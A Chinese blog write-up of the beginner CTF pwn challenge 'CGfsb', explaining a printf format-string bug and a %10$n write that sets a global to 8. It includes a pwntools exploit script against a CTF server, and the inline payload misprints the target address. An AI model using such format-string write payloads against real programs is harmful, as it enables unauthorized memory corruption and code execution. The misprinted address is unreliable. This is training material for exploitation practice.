攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解

攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解

在开始看这题之前,可以看CTF-wiki中有关格式化字符串漏洞的利用[link]https://wiki.x10sec.org/pwn/fmtstr/fmtstr_exploit/
这边就简单的介绍格式化字符串中覆盖内存的方式:%n$n,这串字符的意思是将前面打印的字符个数,写入到第n个指针对应的地址中,下面就以CGfsb这题来举个例子
查看文件基本信息:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
用ida可以看到当pwnme=8的时候执行system函数,显示出flag。
我们要利用的就是printf((const char *)&message);它没有按照标准格式 printf("<格式化字符串>", <参量表>) ,所以存在格式化字符串漏洞,具体可以参考CTF-wiki的解释
同时也可以通过ida查看pwnme的地址,利用pwnme地址组成payload

接下来要组成payload

通过gdb,利用printf的漏洞,来查看栈中的字符的位置
在这里插入图片描述
当我们输入:message=AAAA %08x %08x %08x %08x %08x %08x %08x ,这里%08x就使输出8位进制地址,由于printf没有格式化字符串,它就会把我们输入的%08x当作格式化字符串,输出栈中的地址,我们可以看到AAAA的16进制数据41414141在栈中第10的位置。我们就可以构造payload

payload=p32(0x0804A0680)+“aaaa”+"%10$n"

解释:
%n$n*,将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置即%10:栈中第10的地址位置
1.p32(0x0804A0680)将pwnme的地址写入,即取代AAAA的位置,同时也代表4个字符
2. ”aaaa"因为pwnme要为8所以添加4个字符

整句payload的意思是写入pwnme的地址,同时利用**%10$n**,将8写入到pwnme的地址。

exp脚本

from pwn import *
io=remote("111.198.29.45","49496")
payload=p32(0x0804A068)+"aaaa"+"%10$n"
io.sendlineafter("please tell me your name:","aaa")
io.sendlineafter("leave your message please",payload)
io.interactive()
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值